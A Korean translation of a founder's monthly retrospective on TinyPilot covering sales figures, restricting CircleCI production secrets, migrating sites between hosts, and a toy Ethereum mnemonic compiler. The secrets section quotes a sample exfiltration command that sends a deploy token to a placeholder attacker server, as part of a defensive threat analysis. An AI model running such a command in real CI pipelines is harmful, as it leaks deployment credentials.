TinyPilot: Month 45

Michael Lynch

TinyPilot: 45개월 차

원문은 Michael Lynch님이 에 게재했습니다. 이 블로그 구독하기

한 줄 요약

배포에 대해 비판적으로 고민하기.

하이라이트

  • TinyPilot 팀과 함께 워크플로에 지장을 주지 않으면서 배포 시크릿에 대한 접근을 제한했다.
  • 플랫폼 간 서비스 이전 시 시행착오를 통해 다운타임을 최소화하는 방법을 배웠다.
  • 아주 간단한 형태이긴 하지만 처음으로 컴파일러를 만들어 봤다.

목표 달성도

매달 초에 달성하고 싶은 목표를 정한다. 이번 달 목표는 얼마나 달성했을까?

TinyPilot 릴리스 문서의 빈틈 메우기

  • 결과: 지난 릴리스에서 발견된 빈틈을 메웠다.
  • 성적: A

3월 TinyPilot Pro 릴리스는 내가 직접 릴리스 작업을 하나도 맡지 않은 첫 릴리스였다. 릴리스는 순조롭게 진행됐지만, 과정 중에 다음 단계가 팀에게 명확하지 않은 순간들이 있었다.

개발팀과 서포트 엔지니어링 팀과 함께 회고를 진행해 릴리스에 대한 피드백을 모았다. 회의에서 프로세스에 대한 유용한 피드백이 많이 나왔고, 겪었던 문제들을 반영해 내부 문서와 플레이북을 수정했다.

2023년 세금 신고 완료

  • 결과: 모든 세금 서류를 기한 내에 제출했다.
  • 성적: A

올해는 처음으로 부부 공동 신고를 해서 세금이 복잡했고, 몇 가지 세금 서류를 기다리느라 시간이 걸렸지만 이제 모두 제출을 마쳤다.

TinyPilot 통계

지표2024년 2월2024년 3월변화
순 방문자13,0009,100-3,900 (-30%)
판매 매출$82,517.42$107,809.83+$25,292.41 (+31%)
기업 구독$290.70$290.700
로열티$3,373.65$2,442.12-$931.53 (-28%)
총 매출$86,181.77$110,542.65+$24,360.88 (+28%)
수익$23,599.09$3,193.73-$20,405.36 (-86%)

3월은 TinyPilot 역사상 판매 매출이 가장 높았던 달로, 이전 최고 기록을 600달러 차이로 근소하게 넘어섰다. 한 달 단위로 보면 수익은 줄었지만, 더 의미 있는 지표인 3개월 평균은 견조한 흐름을 보이고 있다.

방문자 수는 지난달보다 줄었지만, 이는 2월에 6년 차 회고 글로 인한 비정상적인 방문자 급증이 있었기 때문이다.

TinyPilot 프로덕션 시크릿 접근 권한 강화

지난 몇 달간 우리는 TinyPilot의 릴리스 프로세스를 개선해 더 자동화하고 나에 대한 의존도를 낮추는 방향으로 작업해 왔다.

릴리스 워크플로를 점검하는 과정에서 너무 많은 팀원이 프로덕션 시크릿에 접근할 수 있다는 사실을 알게 됐다. 프로덕션 시크릿에는 웹사이트나 TinyPilot 애플리케이션의 새 버전을 배포하기 위한 인증 토큰 같은 것들이 포함된다.

우리는 작은 팀이라, 우리에게 ‘너무 많은’ 팀원이 접근 권한을 갖고 있다는 건 다섯 명 중 한 명이 아니라 다섯 명 모두가 접근 권한을 갖고 있다는 뜻이었다. 그중 네 명은 사실 프로덕션 시크릿에 접근할 필요가 없는 사람들이었다.

대부분의 TinyPilot 저장소는 “push on green” 방식으로 운영된다. CircleCI라는 지속적 통합 서비스에서 자동화된 테스트를 통과하면 모든 코드 변경 사항을 즉시 프로덕션에 푸시한다는 의미다.

우리는 시크릿을 CircleCI 환경 변수로 저장하고 있었다. 처음에는 환경 변수가 쓰기 전용이라 저장 후에는 값을 다시 읽을 수 없다는 점에서 괜찮아 보였다.

CircleCI 관리자 인터페이스는 환경 변수 값의 일부만 보여주며, CircleCI 관리자만 이를 볼 수 있다. 참고로 화면에 보이는 값은 가짜 값이다.

시크릿 보호에 대해 더 비판적으로 고민하기 시작하자, CircleCI 웹 UI가 보여주는 것과 달리 사실상 다섯 명 모두가 환경 변수에 접근할 수 있다는 걸 깨달았다. 악의적인 팀원이라면 두 가지 방법 중 하나로 시크릿을 빼낼 수 있었다.

  1. 코드 저장소에 새 브랜치를 만든 뒤 CircleCI 설정 파일을 변경해 curl http://attacker-server.example.com/exfiltrate?token=$AUTH_TOKEN처럼 자신이 통제하는 원격 서버로 시크릿을 빼돌릴 수 있다
  2. CircleCI의 모든 작업에 SSH로 접속한 뒤 명령줄에서 echo $AUTH_TOKEN을 입력할 수 있다.

(1)은 어느 정도 탐지가 가능했지만, 우리가 확인하던 항목은 아니었다. (2)는 CircleCI가 SSH 세션을 로그로 남기지 않기 때문에 탐지 자체가 불가능했다.

이 공격은 TinyPilot 팀 내부에서만 가능했다. 외부 기여자는 CircleCI 환경 변수에 전혀 접근할 수 없기 때문이다.

접근 권한을 강화할 방법을 찾아봤고, CircleCI 문서에서는 보안상 민감한 시크릿을 “컨텍스트(contexts)”에 저장하라고 권장하고 있었다. 컨텍스트도 결국 환경 변수지만 추가적인 접근 제어가 가능하다.

보안 컨텍스트는 특정 사용자 집합에 대해서만 접근을 제한할 수 있었다. 그래서 기존 워크플로를 유지하려면 결국 모두에게 시크릿 접근 권한을 줘야 했고, 그러면 다시 원점으로 돌아가는 셈이었다. 반대로 신뢰할 수 있는 일부 팀원만 모든 배포를 시작하도록 제한하는 방법도 있었지만, 그러면 엄청난 마찰이 생겼을 것이다.

CircleCI 지원팀에 문의했더니, 마침 우리의 문제를 해결해 줄 기능을 곧 출시할 예정이라고 했다. 2주 뒤 CircleCI는 표현식 기반 컨텍스트 제한(expression-based context restrictions) 기능을 출시했고, 실제로 우리의 문제를 완벽하게 해결해 줬다.

CircleCI의 표현식 기반 제한을 이용하면 단순한 사용자 허용 목록을 넘어 컨텍스트에 다양한 제한을 추가할 수 있었다. 특정 브랜치로만 제한하거나 SSH가 활성화된 경우 접근을 차단할 수 있었다. 우리는 결국 다음과 같은 표현식을 사용하게 됐다.

pipeline.git.branch == "master" and not job.ssh.enabled

이 표현식은 악의적인 팀원이 시크릿을 빼내기 위해 별도 브랜치를 사용하더라도 해당 브랜치에서는 시크릿에 접근할 수 없게 만들어 위의 (1)번 공격을 완화한다.

이 표현식은 사용자가 SSH 접근을 활성화한 CircleCI 작업을 실행하면 시크릿 자체를 사용할 수 없게 만들어 (2)번 공격을 완화한다.

우리 master 브랜치는 모든 변경에 최소 한 명의 승인을 요구하므로, 이 시스템도 두 명의 팀원이 공모하는 악의적인 공격에는 여전히 취약하다. 한 명의 부패한 팀원이 시크릿을 빼내는 코드 변경을 올리고 공범이 이를 승인하는 식이다. 하지만 이런 공격은 우리가 자주 다루는 파일에서 발생하고 누가 코드를 넣었는지 명확한 감사 기록이 남기 때문에 눈에 띄기 쉽다.

전반적으로 CircleCI의 표현식 기반 컨텍스트 제한에 만족한다. CI가 프로덕션 시크릿에 접근할 수 있는 팀이라면, 필요 없는 팀원까지 시크릿에 접근하고 있지는 않은지 한 번 고민해 보길 권한다.

호스트 간 서비스 이전 프로세스 개선

TinyPilot을 처음 시작했을 때는 Google Cloud Platform이나 Amazon Web Services 같은 대형 업체에 서비스를 호스팅하는 경우가 많았다. 지난 4년 동안 Netlify나 Fly.io 같은 소규모 업체를 더 선호하게 됐다.

대부분의 TinyPilot 서비스는 이미 소규모 호스팅 플랫폼에서 돌아가고 있었지만, 초기에 설정해 두고 한 번도 옮기지 않은 서비스가 두어 개 남아 있어 이를 통합하기로 했다.

한 번의 이전 과정은 다소 삐걱댔고, 그 교훈을 바탕으로 다음 이전은 더 매끄럽게 진행할 수 있었다.

Firebase에서 Netlify로의 이전 (삐걱댔던 과정)

TinyPilot 웹사이트는 단순한 정적 사이트라 어디서든 호스팅할 수 있다. 2020년에는 모든 걸 Firebase로 운영하고 있어서 Firebase 호스팅을 쓰고 있었고, 지금까지 별문제 없이 잘 돌아가고 있었다. 하지만 보안 컨텍스트를 중심으로 배포 흐름을 재구성하면서 Firebase에서 내가 현재 정적 사이트 호스팅으로 선호하는 Netlify로 옮길 좋은 기회라고 생각했다.

단순한 이전이 될 것처럼 보였다. 동기화를 유지해야 할 데이터베이스 같은 것도 없었다. Netlify에 웹사이트를 배포하고 DNS 레코드를 새 호스트로 변경하기만 하면 됐다.

그렇게 생각했다.

Netlify에 배포하고 tinypilotkvm.com의 DNS 항목을 업데이트한 뒤 사이트에 접속해 봤더니, TLS 오류가 떴다.

Firefox에서 tinypilotkvm.com에 접속했을 때 브라우저에 'Warning: Potential Security Risk Ahead' 경고가 표시된 스크린샷

DNS 항목을 업데이트한 직후 TinyPilot 웹사이트에 접속하니 TLS 오류가 발생했다.

심각한 문제다. 브라우저가 신용카드 정보를 탈취할 것처럼 경고한 직후에 쇼핑하려는 사람은 아무도 없을 테니까.

더 나쁜 건 이 변경을 동부 시간으로 목요일 오전 9시 30분에 했다는 점이다. 유료 고객이 가장 많이 몰리는 시간대였다.

Netlify가 TLS 인증서를 아직 생성하지 않은 걸까? TLS 오류를 확인해 보니 브라우저가 Firebase의 TLS 인증서에 대해 불만을 표시하고 있었다. 어라? Firebase가 DNS 레코드가 바뀌어도 이전 사이트를 잘못된 인증서와 함께 계속 서빙하고 있는 건 아닐까?

나는 방문자를 DNS 서버 정보의 신선도에 따라 두 부류로 나눠 생각하고 있었다.

  1. 이전 Firebase IP 주소가 남아 있는 DNS 서버에 조회하는 경우 -> DNS를 업데이트하기 전과 마찬가지로 이전 Firebase 버전이 정상적으로 보인다.
  2. 새로운 Netlify IP 주소가 있는 DNS 서버에 조회하는 경우 -> 새로운 Netlify 버전이 정상적으로 보인다.

지금도 왜 Firebase 인증서 오류가 났는지 이해하지 못하겠다. 유일하게 짐작할 수 있는 설명은 Firebase가 DNS 변경에 반응해 관련 DNS 레코드가 바뀌면 즉시 인증서를 무효화한다는 것이다. 하지만 Firebase 관리자 대시보드에서는 여전히 인증서가 유효하다고 표시되고 있었다.

임시방편으로 Firebase에서 netlify-preview.tinypilotkvm.com으로 방문자를 리다이렉트하도록 설정했다. 전날 새 사이트를 위해 만들어 둔 스테이징 도메인이었다. 다행히 이 방법은 통했고 고객들은 더 이상 TLS 오류를 보지 않게 됐다. netlify-preview라는 스테이징 도메인 이름이 고객에게 뭔가 잘못됐다는 인상을 줄 수 있어 좀 더 평범한 이름을 쓰지 않은 게 아쉽지만, TLS 오류보다는 나았다.

그 후 하루 동안은 기존 Firebase 사이트로 계속 트래픽이 들어왔지만, 며칠에 걸쳐 서서히 0으로 줄었다. 일주일 뒤 Firebase 사이트를 종료했다.

AWS에서 Fly.io로의 이전 (매끄러웠던 과정)

TinyPilot은 사용자로부터 진단 로그를 수집하기 위해 LogPaste 서버를 사용한다. 기본적인 Go 앱이고, Go 서비스는 Fly.io를 선호한다. 하지만 TinyPilot의 LogPaste 서버는 AWS LightSail에서 돌아가고 있었기 때문에 LightSail에서 Fly.io로 옮기기로 했다.

LogPaste 이전은 TinyPilot 웹사이트 이전보다 약간 더 어려웠다. SQLite 데이터베이스가 있기 때문이다. 대신 위험 부담은 더 낮았다. LogPaste 서버가 며칠 정도 다운되더라도 큰 문제는 아니었기 때문이다.

이전 하루 전, logs.tinypilotkvm.com DNS 항목의 TTL을 1분으로 낮췄다. DNS 서버가 TTL을 반드시 지킬 필요는 없지만, 지키는 서버에게는 캐시를 제한하는 데 도움이 될 거라 생각했다.

또한 Fly.io에 LogPaste 스테이징 버전을 logs2.tinypilotkvm.com 도메인으로 배포했다. TinyPilot 웹사이트 때처럼 리다이렉트 꼼수를 써야 할 경우를 대비해, 사용자에게 보여도 크게 어색하지 않은 URL을 준비해 두려는 목적이었다.

이전 데이터를 기존 LightSail 버전에서 새 Fly.io 버전으로 옮길 수 있는 마이그레이션 스크립트도 준비했다. Amazon S3 버킷에서 프로덕션 데이터베이스를 다운로드하고 새 Fly.io 서버를 뒷받침하는 스토리지 버킷에 업로드하는 간단한 bash 스크립트였다.

배포 당일에는 아침 7시에 일어나자마자 마이그레이션을 실행했다. 혹시 일시적인 장애가 발생하더라도 영향을 받는 사람이 조금이라도 적도록 하기 위해서였다.

다행히 이전은 매끄럽게 진행됐다. 체인에 있는 모든 DNS 서버가 1분짜리 TTL을 잘 지킨 듯했고, Fly.io 서버 로그에 logs.tinypilotkvm.com으로 들어오는 LogPaste 요청이 거의 즉시 찍히기 시작했다.

LightSail 버전은 일주일 더 유지한 뒤, 더 이상 트래픽이 들어오지 않는 것을 확인하고 삭제했다.

호스트 간 서비스 이전을 위한 일반적인 전략

참고: 이 방법이 최적의 전략은 아닐 것이다. 인증서 오류를 최소화하는 더 좋은 방법이 있을 거라 생각하지만, 적어도 이전에 하던 방식보다는 낫다.

다음에 서비스를 다른 호스트로 옮겨야 할 때는 이번 달에 배운 과정을 따를 생각이다.

일반적인 예로, example.com이라는 URL에서 호스팅하는 서비스를 플랫폼 A에서 플랫폼 B로 옮긴다고 가정해 보자.

준비일

이전하기 하루나 이틀 전에 다음 단계를 수행한다.

  1. 서비스를 플랫폼 B에 배포한다.
  2. 플랫폼 B에서 서브도메인으로 서비스에 대한 인증서를 생성한다.
    • 보통 호스팅 플랫폼의 “사용자 정의 도메인 추가” 설정에 있다.
    • 문제가 생겨 고객에게 노출되더라도 크게 어색하지 않은 서브도메인을 선택한다. www2.example.com이나 web.example.com 같은 이름이 좋다.
    • insecure-staging.example.com처럼 최종 사용자에게 불안감을 주는 서브도메인은 피한다.
  3. 새 서브도메인에 대해 플랫폼 B를 가리키는 DNS 항목을 추가한다.
  4. 새 서브도메인을 통해 플랫폼 B에 접속했을 때 브라우저에서 TLS 오류가 발생하지 않는지 확인한다.
  5. 프로덕션 example.com DNS 항목의 TTL을 1~5분 같은 낮은 값으로 낮춘다.
  6. 플랫폼 B에서 프로덕션 example.com 도메인에 대한 인증서를 생성한다.

이전 당일

이전 당일에는 다음 단계를 수행한다.

  1. 트래픽이 적은 시간대를 선택한다.
    • 동료의 지원이 필요할 수 있다면, 그들이 대기하고 있으며 이전 계획을 인지하고 있는지 확인한다.
  2. example.com의 DNS 항목을 플랫폼 A 대신 플랫폼 B를 가리키도록 업데이트한다.
  3. 메인 example.com URL을 통해 여전히 서비스에 접속할 수 있는지 확인한다.

DNS 변경 후 서비스에 접속했을 때 플랫폼 A에 대한 TLS 오류가 보인다면:

  • 임시방편으로 플랫폼 A에서 준비일에 설정해 둔 스테이징 서브도메인으로 트래픽을 리다이렉트하도록 설정한다.
  • dig를 사용해 로컬 컴퓨터 관점에서 DNS 레코드가 언제 만료되는지 확인하고, DNS 항목이 만료된 후 TLS 오류가 사라지는지 살펴본다.

기존 서버 폐기

이전 후 최소 24시간을 기다린 뒤 다음 단계를 수행한다.

  1. 플랫폼 A로의 트래픽이 멈췄는지 확인한다.
  2. 플랫폼 A의 서버를 폐기한다.
  3. 플랫폼 A 없이도 서비스에 계속 접속할 수 있는지 확인한다.
  4. 프로덕션 DNS 항목의 TTL을 60분 같은 적절한 값으로 되돌린다.
  5. DNS 항목에서 스테이징 서브도메인을 제거한다.

사이드 프로젝트

간단한 컴파일러 만들기

Zig와 인터프리터, 이더리움에 대해 더 배우기 위해 지난 몇 달간 eth-zvm이라는 이더리움 가상 머신의 Zig 구현체를 작업해 왔다.

eth-zvm용 성능 벤치마크도 작성했는데, 벤치마크가 실행하는 프로그램은 다음과 같은 이더리움 바이트코드 덩어리에 불과했다.

60016000526001601ff3

이 바이트코드는 수정하기 어렵다. 테스트를 수정하고 싶을 때마다 바이트코드를 사람이 읽을 수 있는 형태로 디컴파일하고, 변경한 뒤 다시 원시 바이트로 컴파일해야 했다.

이더리움에는 니모닉(mnemonic) 형식이라는 사람이 읽을 수 있는 바이트코드 표현이 있다. 위 바이트코드를 니모닉 형식으로 표현하면 다음과 같다.

PUSH1 0x01
PUSH1 0x00
MSTORE
PUSH1 0x01
PUSH1 0x1f
RETURN

여전히 로우 레벨이지만 원시 바이트보다는 이해하기 쉽다.

테스트를 바이트코드가 아니라 니모닉 형식으로 저장하고 싶었다. 니모닉을 바이트코드로 바꿔주는 컴파일러를 찾아봤지만, 명령줄에서 바로 쓸 수 있는 도구를 찾지 못했다.

충분히 해볼 만한 작업처럼 보여서 직접 니모닉-바이트코드 컴파일러를 만들기로 했다.

컴파일러라고 하기엔 내 컴파일러는 가장 단순한 축에 속한다. 가능한 모든 입력 토큰과 출력 바이트가 거의 완벽하게 1:1로 대응된다.

아주 간단한 프로그램 예시는 다음과 같다.

$ echo 'RETURN' | ./mnc /dev/stdin /dev/stdout
f3

opcode 값 for RETURN0xf3이므로 출력 바이트코드는 단순히 f3가 된다.

스택에 1바이트를 푸시하는 PUSH1처럼 인자를 갖는 opcode는 조금 더 복잡하다.

$ echo 'PUSH1 0x42' | ./mnc /dev/stdin /dev/stdout
6042

32바이트 값을 스택에 푸시하는 PUSH32도 사용할 수 있다.

$ echo 'PUSH32 0x42' | ./mnc /dev/stdin /dev/stdout
7f0000000000000000000000000000000000000000000000000000000000000042

인라인 주석도 지원하도록 구현했으니, 위 예제 애플리케이션을 주석과 함께 다시 보면 다음과 같다.

$ tempfile="$(mktemp)" && \
  cat << EOF > "${tempfile}"
// Store 0x01 in memory as a 32-byte word.
PUSH1 0x01
PUSH1 0x00
MSTORE

// Return 1 byte from offset 31 in memory.
PUSH1 0x01
PUSH1 0x1f
RETURN
EOF

$ ./mnc "${tempfile}" /dev/stdout
60016000526001601ff3

이제 eth-zvm의 벤치마크 예제는 사람이 읽을 수 있는 니모닉 형식으로 저장하고, 벤치마크를 실행할 때 필요에 따라 바이트코드로 컴파일한다.

비록 간단한 컴파일러였지만 직접 만들어 보는 건 재미있었다. 내 컴파일러는 현재 PUSH1 RETURN처럼 의미상으로는 틀린 코드도 허용하지만, 내 용도에는 충분하다. 이 프로젝트는 프로그래밍 언어가 더 깊은 수준에서 어떻게 동작하는지 스스로 배울 수 있는 재미있는 방법이 되고 있다.

마무리

무엇을 해냈나?

배운 점

  • CI 환경 변수에 시크릿을 저장하는 것은 좋지만, 팀원이 많을수록 접근을 더 철저히 제한해야 한다.
  • 플랫폼 간 서비스를 이전할 때는 체계적인 접근 방식을 사용한다.
    • 비즈니스에 지장을 주지 않으면서도 실수했을 때 복구할 시간을 확보할 수 있는 시간대를 선택한다.
    • 이전 최소 하루 전에는 DNS TTL을 낮춘다.
    • 이전에 앞서 새 TLS 인증서를 미리 준비한다.
    • 문제가 생겨 최종 사용자에게 노출되더라도 감수할 수 있는 스테이징 서브도메인 이름을 선택한다.

다음 달 목표

  • 세 곳의 새로운 잠재 TinyPilot 유통사 또는 판매 채널과 대화 시작하기.
  • 두 가지 새로운 TinyPilot 소프트웨어 기능 개발 감독하기.
  • 제조사와 협력해 2024년 나머지 기간의 생산 계획 조율하기.

이 글은 muse-spark-1.2-contributor 모델을 사용해 번역했습니다.

댓글